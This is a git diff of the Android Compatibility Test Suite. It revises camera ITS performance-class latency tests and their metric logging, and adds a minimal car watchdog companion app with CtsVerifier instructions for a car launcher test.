-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0341.java221
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0394.java3
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0521.java3
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0922.java3
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_0934.java59
-rw-r--r--tests/tests/security/src/android/security/cts/CVE_2021_39663.java72
-rw-r--r--tests/tests/security/src/android/security/cts/ConscryptIntermediateVerificationTest.java11
-rw-r--r--tests/tests/security/src/android/security/cts/DecodeTest.java17
-rw-r--r--tests/tests/security/src/android/security/cts/EffectBundleTest.java89
-rw-r--r--tests/tests/security/src/android/security/cts/FlagSlipperyTest.kt20
-rw-r--r--tests/tests/security/src/android/security/cts/IsolatedProcessTest.java29
-rw-r--r--tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java12
-rw-r--r--tests/tests/security/src/android/security/cts/Movie33897722.java17
-rw-r--r--tests/tests/security/src/android/security/cts/NanoAppBundleTest.java26
-rw-r--r--tests/tests/security/src/android/security/cts/NativeCodeTest.java11
-rw-r--r--tests/tests/security/src/android/security/cts/NetdTest.java9
-rw-r--r--tests/tests/security/src/android/security/cts/OutputConfigurationTest.java11
-rw-r--r--tests/tests/security/src/android/security/cts/ParcelableExceptionTest.java13
-rw-r--r--tests/tests/security/src/android/security/cts/PutOverflowTest.java12
-rw-r--r--tests/tests/security/src/android/security/cts/RunningAppProcessInfoTest.java13
-rw-r--r--tests/tests/security/src/android/security/cts/SQLiteTest.java18
-rw-r--r--tests/tests/security/src/android/security/cts/STKFrameworkTest.java26
-rw-r--r--tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java13
-rw-r--r--tests/tests/security/src/android/security/cts/StagefrightTest.java19
-rw-r--r--tests/tests/security/src/android/security/cts/VisualizerEffectTest.java17
-rw-r--r--tests/tests/security/src/android/security/cts/WallpaperManagerTest.java94
-rw-r--r--tests/tests/security/src/android/security/cts/ZeroHeightTiffTest.java14
-rw-r--r--tests/tests/selinux/OWNERS1
-rw-r--r--tests/tests/settings/src/android/settings/cts/SettingsMultiPaneDeepLinkTest.java7
-rw-r--r--tests/tests/systemui/Android.bp2
-rw-r--r--tests/tests/systemui/AndroidManifest.xml3
-rw-r--r--tests/tests/systemui/AndroidTest.xml1
-rw-r--r--tests/tests/systemui/AudioRecorderTestApp_AudioRecord/Android.bp1
-rw-r--r--tests/tests/systemui/AudioRecorderTestApp_MediaRecorder/Android.bp1
-rw-r--r--tests/tests/systemui/PipTestApp/Android.bp1
-rw-r--r--tests/tests/systemui/src/android/systemui/cts/WindowInsetsBehaviorTests.java7
-rw-r--r--tests/tests/telecom/AndroidManifest.xml8
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/NullBindingConnectionService.java49
-rw-r--r--tests/tests/telecom/src/android/telecom/cts/NullBindingTest.java84
-rw-r--r--tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestFirstActivity.java1
-rw-r--r--tests/tests/uiautomation/src/android/app/uiautomation/cts/UiAutomationTestSecondActivity.java1
-rw-r--r--tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java22
-rw-r--r--tests/tests/wifi/src/android/net/wifi/cts/TestHelper.java2
-rw-r--r--tests/translation/src/android/translation/cts/UiTranslationManagerTest.java57
-rw-r--r--tests/tvprovider/AndroidTest.xml1
-rw-r--r--tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java11
-rw-r--r--tests/video/src/android/video/cts/CodecPerformanceTestBase.java10
-rw-r--r--tools/cts-device-info/Android.mk2
-rw-r--r--tools/cts-tradefed/res/config/cts-known-failures.xml15
-rw-r--r--tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml4
353 files changed, 11166 insertions, 1922 deletions
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
index e1ed8936dac..a66f831581c 100644
--- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
@@ -22,6 +22,7 @@ import camera_properties_utils
import its_base_test
import its_session_utils
+# This must match MPC12_CAMERA_LAUNCH_THRESHOLD in ItsTestActivity.java
CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 600 # ms
@@ -41,7 +42,7 @@ class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest):
camera_id=self.camera_id) as cam:
camera_properties_utils.skip_unless(
- cam.is_performance_class_primary_camera())
+ cam.is_primary_camera())
# Load chart for scene.
props = cam.get_camera_properties()
@@ -55,11 +56,17 @@ class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest):
camera_id=self.camera_id)
launch_ms = cam.measure_camera_launch_ms()
- if launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD:
- raise AssertionError(f'camera launch time: {launch_ms} ms, THRESH: '
- f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD} ms')
- else:
- logging.debug('camera launch time: %.1f ms', launch_ms)
+
+ # Assert launch time if device claims performance class
+ if (cam.is_performance_class() and
+ launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD):
+ raise AssertionError(f'camera_launch_time_ms: {launch_ms}, THRESH: '
+ f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD}')
+
+ # Log launch time, so that the corresponding MPC level can be written to
+ # report log. Text must match MPC12_CAMERA_LAUNCH_PATTERN in
+ # ItsTestActivity.java.
+ print(f'camera_launch_time_ms:{launch_ms}')
if __name__ == '__main__':
test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
index ba4867bd0f7..0eb76eb6e66 100644
--- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
@@ -22,13 +22,14 @@ import camera_properties_utils
import its_base_test
import its_session_utils
+# This must match MPC12_JPEG_CAPTURE_THRESHOLD in ItsTestActivity.java
JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000 # ms
class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
"""Test jpeg capture latency for S performance class as specified in CDD.
- [7.5/H-1-6] MUST have camera2 JPEG capture latency < 1000ms for 1080p
+ [7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p
resolution as measured by the CTS camera PerformanceTest under ITS lighting
conditions (3000K) for both primary cameras.
"""
@@ -41,7 +42,7 @@ class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
camera_id=self.camera_id) as cam:
camera_properties_utils.skip_unless(
- cam.is_performance_class_primary_camera())
+ cam.is_primary_camera())
# Load chart for scene.
props = cam.get_camera_properties()
@@ -55,12 +56,18 @@ class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
camera_id=self.camera_id)
jpeg_capture_ms = cam.measure_camera_1080p_jpeg_capture_ms()
- if jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD:
- raise AssertionError(f'1080p jpeg capture time: {jpeg_capture_ms} ms, '
+
+ # Assert jpeg capture time if device claims performance class
+ if (cam.is_performance_class() and
+ jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD):
+ raise AssertionError(f'1080p_jpeg_capture_time_ms: {jpeg_capture_ms}, '
f'THRESH: '
- f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD} ms')
- else:
- logging.debug('1080p jpeg capture time: %.1f ms', jpeg_capture_ms)
+ f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD}')
+
+ # Log jpeg capture time so that the corresponding MPC level can be written
+ # to report log. Text must match MPC12_JPEG_CAPTURE_PATTERN in
+ # ItsTestActivity.java.
+ print(f'1080p_jpeg_capture_time_ms:{jpeg_capture_ms}')
if __name__ == '__main__':
test_runner.main()
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
index 2dff574357e..679b740ba00 100644
--- a/apps/CameraITS/tests/scene3/test_flip_mirror.py
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -53,10 +53,6 @@ def test_flip_mirror_impl(cam, props, fmt, chart, debug, log_path):
Returns:
boolean: True if flipped, False if not
"""
-
- # determine if monochrome camera
- mono_camera = camera_properties_utils.mono_camera(props)
-
# get a local copy of the chart template
template = cv2.imread(opencv_processing_utils.CHART_FILE, cv2.IMREAD_ANYDEPTH)
@@ -139,6 +135,10 @@ class FlipMirrorTest(its_base_test.ItsBaseTest):
debug = self.debug_mode
chart_loc_arg = self.chart_loc_arg
+ # check SKIP conditions
+ camera_properties_utils.skip_unless(
+ not camera_properties_utils.mono_camera(props))
+
# load chart for scene
its_session_utils.load_scene(
cam, props, self.scene, self.tablet, self.chart_distance)
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 73d12760baa..af55ebcdbc4 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -29,7 +29,7 @@ import its_session_utils
import opencv_processing_utils
ALIGN_TOL_MM = 4.0 # mm
-ALIGN_TOL = 0.01 # multiplied by sensor diagonal to convert to pixels
+ALIGN_TOL = 0.0075 # multiplied by sensor diagonal to convert to pixels
CIRCLE_COLOR = 0 # [0: black, 255: white]
CIRCLE_MIN_AREA = 0.01 # multiplied by image size
CIRCLE_RTOL = 0.1 # 10%
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index d5d3b068fa9..8e1c6f4f958 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -16,6 +16,7 @@ import json
import logging
import os
import os.path
+import re
import subprocess
import sys
import tempfile
@@ -41,6 +42,7 @@ RESULT_PASS = 'PASS'
RESULT_FAIL = 'FAIL'
RESULT_NOT_EXECUTED = 'NOT_EXECUTED'
RESULT_KEY = 'result'
+METRICS_KEY = 'mpc_metrics'
SUMMARY_KEY = 'summary'
RESULT_VALUES = {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}
ITS_TEST_ACTIVITY = 'com.android.cts.verifier/.camera.its.ItsTestActivity'
@@ -452,6 +454,7 @@ def main():
for s in per_camera_scenes:
test_params_content['scene'] = s
results[s]['TEST_STATUS'] = []
+ results[s][METRICS_KEY] = []
# unit is millisecond for execution time record in CtsVerifier
scene_start_time = int(round(time.time() * 1000))
@@ -527,14 +530,28 @@ def main():
test_failed = False
test_skipped = False
test_not_yet_mandated = False
- line = file.read()
- if 'Test skipped' in line:
+ test_mpc_req = ""
+ content = file.read()
+
+ # Find media performance class logging
+ lines = content.splitlines()
+ for one_line in lines:
+ # regular expression pattern must match
+ # MPC12_CAMERA_LAUNCH_PATTERN or MPC12_JPEG_CAPTURE_PATTERN in
+ # ItsTestActivity.java.
+ mpc_string_match = re.search(
+ '^(1080p_jpeg_capture_time_ms:|camera_launch_time_ms:)', one_line)
+ if mpc_string_match:
+ test_mpc_req = one_line
+ break
+
+ if 'Test skipped' in content:
return_string = 'SKIP '
num_skip += 1
test_skipped = True
break
- if 'Not yet mandated test' in line:
+ if 'Not yet mandated test' in content:
return_string = 'FAIL*'
num_not_mandated_fail += 1
test_not_yet_mandated = True
@@ -547,7 +564,7 @@ def main():
if test_code == 1 and not test_not_yet_mandated:
return_string = 'FAIL '
- if 'Problem with socket' in line and num_try != NUM_TRIES-1:
+ if 'Problem with socket' in content and num_try != NUM_TRIES-1:
logging.info('Retry %s/%s', s, test)
else:
num_fail += 1
@@ -557,6 +574,8 @@ def main():
logging.info('%s %s/%s', return_string, s, test)
test_name = test.split('/')[-1].split('.')[0]
results[s]['TEST_STATUS'].append({'test':test_name,'status':return_string.strip()})
+ if test_mpc_req:
+ results[s][METRICS_KEY].append(test_mpc_req)
msg_short = '%s %s' % (return_string, test)
scene_test_summary += msg_short + '\n'
@@ -604,8 +623,9 @@ def main():
logging.info('Test execution completed.')
# Power down tablet
- cmd = f'adb -s {tablet_id} shell input keyevent KEYCODE_POWER'
- subprocess.Popen(cmd.split())
+ if tablet_id:
+ cmd = f'adb -s {tablet_id} shell input keyevent KEYCODE_POWER'
+ subprocess.Popen(cmd.split())
if __name__ == '__main__':
main()
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index 4c4738867bf..cac22912f76 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -82,6 +82,9 @@ class ItsSession(object):
# Seconds timeout on each socket operation.
SOCK_TIMEOUT = 20.0
+ # Seconds timeout on performance measurement socket operation
+ SOCK_TIMEOUT_FOR_PERF_MEASURE = 40.0
+
# Additional timeout in seconds when ITS service is doing more complicated
# operations, for example: issuing warmup requests before actual capture.
EXTRA_SOCK_TIMEOUT = 5.0
@@ -1093,8 +1096,8 @@ class ItsSession(object):
' support')
return data['strValue'] == 'true'
- def is_performance_class_primary_camera(self):
- """Query whether the camera device is an R or S performance class primary camera.
+ def is_primary_camera(self):
+ """Query whether the camera device is a primary rear/front camera.
A primary rear/front facing camera is a camera device with the lowest
camera Id for that facing.
@@ -1103,14 +1106,28 @@ class ItsSession(object):
Boolean
"""
cmd = {}
- cmd['cmdName'] = 'isPerformanceClassPrimaryCamera'
+ cmd['cmdName'] = 'isPrimaryCamera'
cmd['cameraId'] = self._camera_id
self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
data, _ = self.__read_response_from_socket()
- if data['tag'] != 'performanceClassPrimaryCamera':
- raise error_util.CameraItsError('Failed to query performance class '
- 'primary camera')
+ if data['tag'] != 'primaryCamera':
+ raise error_util.CameraItsError('Failed to query primary camera')
+ return data['strValue'] == 'true'
+
+ def is_performance_class(self):
+ """Query whether the mobile device is an R or S performance class device.
+
+ Returns:
+ Boolean
+ """
+ cmd = {}
+ cmd['cmdName'] = 'isPerformanceClass'
+ self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+ data, _ = self.__read_response_from_socket()
+ if data['tag'] != 'performanceClass':
+ raise error_util.CameraItsError('Failed to query performance class')
return data['strValue'] == 'true'
def measure_camera_launch_ms(self):
@@ -1124,7 +1141,11 @@ class ItsSession(object):
cmd['cameraId'] = self._camera_id
self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+ timeout = self.SOCK_TIMEOUT_FOR_PERF_MEASURE
+ self.sock.settimeout(timeout)
data, _ = self.__read_response_from_socket()
+ self.sock.settimeout(self.SOCK_TIMEOUT)
+
if data['tag'] != 'cameraLaunchMs':
raise error_util.CameraItsError('Failed to measure camera launch latency')
return float(data['strValue'])
@@ -1140,7 +1161,11 @@ class ItsSession(object):
cmd['cameraId'] = self._camera_id
self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+ timeout = self.SOCK_TIMEOUT_FOR_PERF_MEASURE
+ self.sock.settimeout(timeout)
data, _ = self.__read_response_from_socket()
+ self.sock.settimeout(self.SOCK_TIMEOUT)
+
if data['tag'] != 'camera1080pJpegCaptureMs':
raise error_util.CameraItsError(
'Failed to measure camera 1080p jpeg capture latency')
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/apps/CarWatchdogCompanionApp/Android.bp
index ec76abd8dcb..a87902a3da6 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
+++ b/apps/CarWatchdogCompanionApp/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2021 The Android Open Source Project
+//
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -11,25 +12,19 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
+//
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
android_test_helper_app {
- name: "CVE-2021-0481",
- defaults: ["cts_support_defaults"],
+ name: "CtsCarWatchdogCompanionApp",
+ defaults: ["cts_defaults"],
srcs: ["src/**/*.java"],
+ sdk_version: "current",
test_suites: [
"cts",
- "vts10",
- "sts",
+ "general-tests",
],
- static_libs: [
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- "androidx.test.core",
- "androidx.appcompat_appcompat",
- ],
- sdk_version: "current",
}
diff --git a/apps/CarWatchdogCompanionApp/AndroidManifest.xml b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
new file mode 100644
index 00000000000..a26353923dd
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.car.watchdog_companionapp">
+
+ <application android:label="CtsCarWatchdogCompanionApp">
+ <activity android:name=".CarWatchdogCompanionActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ <meta-data android:name="distractionOptimized" android:value="true"/>
+ </activity>
+ </application>
+</manifest>
diff --git a/apps/CarWatchdogCompanionApp/OWNERS b/apps/CarWatchdogCompanionApp/OWNERS
new file mode 100644
index 00000000000..b1bb28d40c4
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 608533
+felipeal@google.com
+jahdiel@google.com
+keunyoung@google.com
+lakshmana@google.com
diff --git a/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
new file mode 100644
index 00000000000..c24cca9ea72
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/text"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:textSize="20sp"
+ android:gravity="center"
+ android:text="@string/car_watchdog_companion_activity_text" />
diff --git a/apps/CarWatchdogCompanionApp/res/values/strings.xml b/apps/CarWatchdogCompanionApp/res/values/strings.xml
new file mode 100644
index 00000000000..341483fc9db
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="car_watchdog_companion_activity_text">
+ Welcome to the CTS Verifier Car Watchdog Companion App!
+ </string>
+</resources>
diff --git a/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
new file mode 100644
index 00000000000..4c7fa82c197
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.car.watchdog_companionapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A minimal application for Car's CTS Verifier Tests.
+ */
+public class CarWatchdogCompanionActivity extends Activity {
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.car_watchdog_companion_activity);
+ }
+}
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 1e2bcd96ca9..2ad8d4cb378 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -5213,6 +5213,20 @@
android:value="multi_display_mode" />
</activity>
+ <activity android:name=".car.CarLauncherTestActivity"
+ android:exported="true"
+ android:label="@string/car_launcher_test">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_car" />
+ <meta-data android:name="test_required_features"
+ android:value="android.hardware.type.automotive"/>
+ <meta-data android:name="display_mode"
+ android:value="multi_display_mode" />
+ </activity>
+
<!-- 6DoF sensor test -->
<activity
android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity"
diff --git a/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml b/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml
index 18eef3e36bb..b40c71dfe51 100644
--- a/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml
+++ b/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml
@@ -27,6 +27,16 @@
<corners android:radius="4dp" />
</shape>
</item>
+ <item android:state_focused="true">
+ <shape>
+ <solid android:color="#ffbfbfbf" />
+ <padding android:left="4dp"
+ android:top="4dp"
+ android:right="4dp"
+ android:bottom="4dp" />
+ <corners android:radius="4dp" />
+ </shape>
+ </item>
<item>
<shape>
<solid android:color="#ff7f7f7f" />
diff --git a/apps/CtsVerifier/res/layout/car_launcher_test_main.xml b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
new file mode 100644
index 00000000000..675e61099e7
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="vertical"
+ android:gravity="center_horizontal"
+ style="@style/RootLayoutPadding">
+
+ <ScrollView
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1"
+ android:orientation="vertical">
+
+ <LinearLayout
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:gravity="center_horizontal"
+ android:orientation="vertical" >
+
+ <TextView
+ android:id="@+id/car_launcher_test_description"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:padding="10dp"
+ android:text="@string/car_launcher_test_desc"
+ style="@style/InstructionsSmallFont"/>
+
+ <Button
+ android:id="@+id/car_launcher_test_button"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/car_launcher_test_button_label"
+ android:layout_margin="24dp"/>
+ </LinearLayout>
+ </ScrollView>
+
+ <include
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_weight="0"
+ layout="@layout/pass_fail_buttons" />
+
+</LinearLayout> \ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml
index a60439ebd90..d9dcf411798 100644
--- a/apps/CtsVerifier/res/layout/pro_audio.xml
+++ b/apps/CtsVerifier/res/layout/pro_audio.xml
@@ -24,7 +24,7 @@
android:paddingLeft="10dp"
android:paddingRight="10dp"
android:id="@+id/proAudioHasProAudioLbl"
- android:textSize="18sp"/>
+ android:textSize="20sp"/>
</LinearLayout>
<LinearLayout android:orientation="horizontal"
@@ -42,7 +42,7 @@
android:paddingLeft="10dp"
android:paddingRight="10dp"
android:id="@+id/proAudioHasLLALbl"
- android:textSize="18sp"/>
+ android:textSize="20sp"/>
</LinearLayout>
<LinearLayout android:orientation="horizontal"
@@ -60,7 +60,7 @@
android:paddingLeft="10dp"
android:paddingRight="10dp"
android:id="@+id/proAudioHasMIDILbl"
- android:textSize="18sp"/>
+ android:textSize="20sp"/>
</LinearLayout>
<LinearLayout android:orientation="horizontal"
@@ -78,7 +78,7 @@
android:paddingLeft="10dp"
android:paddingRight="10dp"
android:id="@+id/proAudioMidiHasUSBHostLbl"
- android:textSize="18sp"/>
+ android:textSize="20sp"/>
</LinearLayout>
<LinearLayout android:orientation="horizontal"
@@ -96,14 +96,18 @@
android:paddingLeft="10dp"
android:paddingRight="10dp"
android:id="@+id/proAudioMidiHasUSBPeripheralLbl"
- android:textSize="18sp"/>
+ android:textSize="20sp"/>
</LinearLayout>
- <CheckBox android:id="@+id/proAudioHasHDMICheckBox"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:text="@string/proAudioHasHDMICheckBox"
- android:onClick="onCheckboxClicked"/>
+ <LinearLayout android:orientation="horizontal"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+ <CheckBox android:id="@+id/proAudioHasHDMICheckBox"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="@string/proAudioHasHDMICheckBox"
+ android:onClick="onCheckboxClicked"/>
+ </LinearLayout>
<LinearLayout android:orientation="horizontal"
android:layout_width="match_parent"
@@ -120,7 +124,7 @@
android:paddingLeft="10dp"
android:paddingRight="10dp"
android:id="@+id/proAudioHDMISupportLbl"
- android:textSize="18sp"/>
+ android:textSize="20sp"/>
</LinearLayout>
<LinearLayout android:orientation="vertical"
@@ -130,13 +134,7 @@
android:id="@+id/proAudioTestStatusLbl"
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:textSize="18sp"/>
-
- <TextView
- android:text="@string/proAudioLoopbackMoved"
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:textSize="18sp"/>
+ android:textSize="20sp"/>
</LinearLayout>
<include layout="@layout/pass_fail_buttons"/>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index d5fe78168af..aed65e25113 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -180,6 +180,24 @@
framework correctly tries to open the CAR_DOCK app again.</string>
<string name="car_mode_enable">Enable Car Mode</string>
<string name="car_dock_activity_text">Press the Home button</string>
+ <string name="car_launcher_test">Car Launcher Test</string>
+ <string name="car_launcher_test_desc">This test ensures that the car launcher lists apps
+ disabled by car service due to system resource overuse.\n\n
+ <b>
+ Before proceeding, check if \'com.android.cts.car.watchdog_companionapp\'
+ (aka CtsCarWatchdogCompanionApp) is installed by going to Settings &gt; Apps. If not,
+ please install the app before proceeding.\n\n
+ </b>
+ 1. Check if the CtsCarWatchdogCompanionApp is visible in car launcher\'s app grid view. If
+ it is not listed, pass the test.\n
+ 2. Run the
+ \'adb shell cmd car_service watchdog-resource-overuse-kill com.android.cts.car.watchdog_companionapp\'
+ shell command to disable the app because of system resource overuse.\n
+ 3. Click on \"Open Launcher\". Make sure the CtsCarWatchdogCompanionApp is displayed. If it
+ is not listed, fail the test.\n
+ 4. Open CtsCarWatchdogCompanionApp from the launcher.\n\n
+ Pass the test only if the companion app opened successfully.</string>
+ <string name="car_launcher_test_button_label">Open Launcher</string>
<string name="gear_selection_test">Gear Selection Test</string>
<string name="gear_selection_test_desc">This test ensures that the
GEAR_SELECTION property is implemented correctly.\n\nShift the car\'s
@@ -4184,6 +4202,34 @@ You should be prompted to select credentials; choose the ones you just installed
<string name="disallow_outgoing_beam">Disallow outgoing beam</string>
<string name="disallow_outgoing_beam_action">Switching on android beam</string>
<string name="disallow_remove_user">Disallow remove user</string>
+ <string name="check_new_user_disclaimer">Check new user disclaimer</string>
+ <string name="check_new_user_disclaimer_info">
+ Please do the following: \n\n
+ 1. Check persistent notification for managed device \n\n
+ a). Open the notification UI, verify that there is a notification saying the device is managed.\n
+ b). Tap the notification\n
+ c). It should show a dialog explaining the device is managed and asking the user to accept \n
+ d). Don\'t accept initially and tap outside the dialog \n
